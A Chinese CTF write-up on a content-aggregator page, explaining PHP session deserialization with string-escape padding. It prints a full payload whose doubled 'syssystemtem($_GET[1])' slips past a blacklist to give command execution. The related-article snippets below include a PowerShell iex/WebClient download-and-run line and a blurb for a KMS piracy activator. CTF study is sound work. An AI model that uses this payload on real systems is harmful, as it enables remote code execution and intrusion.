2023-网鼎杯web-platfrom

news/2025/10/12 15:24:36/文章来源:https://www.cnblogs.com/z3xc/p/19136677

platfrom

大佬wp

https://blog.xmcve.com/2024/11/04/%E5%BC%BA%E7%BD%91%E6%9D%AF2024-Writeup/#title-8

https://blog.yemaster.cn/post/123#go-ax-header-4

这题的考点是session反序列化以及字符逃逸

session反序列化学习

https://arsenetang.github.io/2021/08/31/反序列化篇之session反序列化/

session反序列化首先需要有session_id的控制权,就是能修改该值,

而后存在反序列化漏洞,也就是可以用链子执行危险函数,或者说打印flag,

然后触发服务端session的读取,就是有session所在的页面,读取到我们存入的pop链,其会自动进行反序列化,然后就会触发我们的链子,链子这里就不构造了


接着是字符逃逸,借用大佬的笔记

在session_id的文件中我们的链子大概是这样

user|s:56:"我们输入的用户名";session_key|s:20:"随机生成的key";password|s:98:"这里是我们输入的密码";

我们希望session读取的是

user|s:56:"随便";session_key|s:20:"随机生成的key";password|s:98:"我们的链子";

那怎么实现呢,需要注意的是,源代码这里有黑名单会将危险函数替换成空,其中就有eval,system

大佬的链子

user|s:56:"execevalexecevalexecevalexecevalexecexecexecevalexeceval";session_key|s:20:"12345678901234567890";password|s:98:";session_key|O:15:"notouchitsclass":1:{s:4:"data";s:17:"syssystemtem($_GET[1]);";}password|s:1:"a";

其中user的那一串 'execevalexecevalexecevalexecevalexecexecexecevalexeceval' 由黑名单函数组成的字符会被替换为空,而该字符的长度也不是随便的,而是精心计算的,替换为空后,56的字符长度依旧执行吞掉后面的56个字符,

";session_key|s:20:"12345678901234567890";password|s:98:

这里就成了无效的字符

替换后变成

user|s:56:"";session_key|s:20:"12345678901234567890";password|s:98:";session_key|O:15:"notouchitsclass":1:{s:4:"data";s:17:"system($_GET[1]);";}password|s:1:"a";

注意: 这里的双写是绕过黑名单,被黑名单置换为空后就是正常的格式

然后在维持该session的页面传参1=ls就行了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/935470.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

区分iBatis与MyBatis:两个Java数据库框架的比较

iBatis和MyBatis都是流行的Java持久层框架,它们提供了一种将Java对象与数据库表关联的方法。尽管它们在功能上有所重叠,但两者之间存在一些关键差异。 iBatis是最早出现的框架之一,由Clinton Begin开发,并在2002年…

2025大棕拉链厂家权威推荐榜:品质工艺与创新设计深度解析

2025大棕拉链厂家权威推荐榜:品质工艺与创新设计深度解析在纺织辅料行业快速发展的今天,大棕拉链作为连接功能与美学的关键部件,其品质直接影响着服装、箱包等产品的整体价值。随着新材料、新工艺的不断涌现,大棕拉…

JavaScript加密与解密技术:Hook技术应用案例分析

JavaScript中的加密与解密技术是网络安全领域的重要组成部分,它们确保了数据传输的安全性和数据隐私。在Web开发中,经常需要对敏感信息进行加密处理,以防止在客户端与服务器之间传输过程中被第三方截获和篡改。同时…

Oracle数据库创建表空间和索引的SQL语法示例

在Oracle数据库中,创建表空间是一种常见的数据库管理任务,它允许管理员组织和管理数据库中的数据文件。表空间是存储数据的逻辑单元,可以包含一个或多个物理数据文件。索引则用于提高查询性能,它们可以快速定位表中…

NOIP2016普及组port

NOIP2016普及组 T3海港(port) P2058 [NOIP 2016 普及组] 海港 题目背景 NOIP2016 普及组 T3 题目描述 小 K 是一个海港的海关工作人员,每天都有许多船只到达海港,船上通常有很多来自不同国家的乘客。 小 K 对这些到达…

从增长焦虑到经营确定性:巨益OMS业财一体化的实践路径

跨境电商正处在一个“流量见顶、成本抬升、监管趋严”的关键拐点。 过去依靠低价和广告投放的粗放式增长模式,已难以应对复杂的全球经营现实。 区域分化加剧:欧美市场重视品牌与合规,东南亚聚焦性价比与供应链速度。…

Alexa对话式AI技术进展全解析

本文详细介绍了某中心在对话式AI领域的技术突破,包括自然对话交互、自学习系统、多语言支持等核心能力,涵盖了语音识别、语义理解、隐私保护等关键技术模块的实现原理与应用场景。Alexa对话式AI技术进展 在疫情期间,…

AI小说生成器:智能创作与一致性维护的全流程解决方案

基于大语言模型的智能小说生成工具,提供从世界观构建到章节生成的全流程支持,通过向量检索和一致性检查确保剧情连贯性,助力创作者高效产出逻辑严谨的长篇故事。AI小说生成器 一款基于大语言模型的多功能小说生成器…

2025无锡考编培训机构权威推荐榜:专业辅导与高通过率口碑之

2025无锡考编培训机构权威推荐榜:专业辅导与高通过率口碑之选在当今就业竞争日益激烈的环境下,公务员和事业单位编制岗位因其稳定性与福利保障,成为众多求职者的首选目标。无锡作为长三角重要城市,其考编培训市场也…

脚本方式安装Python 特定版本

Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClien…

数据结构-单向循环链表

数据结构-单向循环链表 /**************************************************************************** * @name* @author:王玉珩* @date:2025/10/07** *CopyRight (c) 2025-2026 All Rightt Reseverd* ***********…

论人工智能,对人类生产的影响。

接下来,我会说下,人工智能对人类的终极影响。这其中,最关键的影响因素是什么。 恐怖的进步速度! 我记得过年的时候,这个机器人还和帕金森一样转手绢。但是今天看,他已经可以后空翻,踩墙后空翻。而且,他的手基本…

2025高频超声波检测设备厂家权威推荐榜:精准检测与技术创新

2025高频超声波检测设备厂家权威推荐榜:精准检测与技术创新随着工业4.0时代的深入发展,高频超声波检测技术作为无损检测领域的重要组成部分,正迎来前所未有的发展机遇。在航空航天、轨道交通、能源电力等关键行业,…

HEU KMS Activator最新功能使用教程及介绍,附HEU KMS Activator最新版下载

说明 前半部分会以介绍为主,如果想直接学习怎么使用的前往下看。 什么是KMS? KMS,全称Key Management Service。 很多人可能不知道,KMS其实是微软官方认可的一种系统激活方式。这个激活方式主要用于企业计算机的批…

Codeforces Round 991 (Div. 3) vp 题解

Codeforces Round 991 (Div. 3) vp 题解Codeforces Round 991 (Div. 3) vp 题解 A 纯模拟,模拟一下就可以了。 B 呃,挺好发现的吧,每一次只能选择 i-1 和 i+1 这两个位置,就决定了这道题中,一个数组中只有同奇偶性…

PWN手的成长之路-14-ciscn_2019_c_1-ret2libc

file:checksec:查看 main 函数:再结合程序的运行,我们输入的值存到了 v4 中,当 v4=2 时,程序重新再次执行 begin() 函数,若输入 3,则直接退出程序,只有当我们输入 1 的时候,程序才会调用 encrypt() 函数。 查看…

国内高速下载镜像

文中方法非常好用,下载速度很快 1、项目介绍上次提及使用CNB下载镜像,有网友反应使用KSpeeder做加速也很香。但KSpeeder后续维护的稳定性肯定是没有自己使用CNB构建的稳定的。但是KSpeeder也是有自己的优势的,这个是…

2025数控高速滚齿机厂家权威推荐榜:精密加工与高效产能标杆

2025数控高速滚齿机厂家权威推荐榜:精密加工与高效产能标杆随着制造业向智能化、精密化方向快速发展,数控高速滚齿机作为齿轮加工领域的核心装备,其技术水平和性能指标直接影响着整个产业链的制造精度与生产效率。在…

完整教程:prompt提示词工程---如何让大模型更听得懂人话

完整教程:prompt提示词工程---如何让大模型更听得懂人话pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas…

2025年10月广州 1688 代运营服务商推荐,阿里巴巴1688店铺代运营、全店托管代运营公司推荐!

在数字经济飞速发展的当下,1688 平台已成为众多企业拓展线上业务的重要阵地。然而,不少企业在运营 1688 店铺时面临诸多难题:缺乏专业的运营团队,对平台规则和算法逻辑不熟悉,难以精准把握市场趋势和消费者需求,…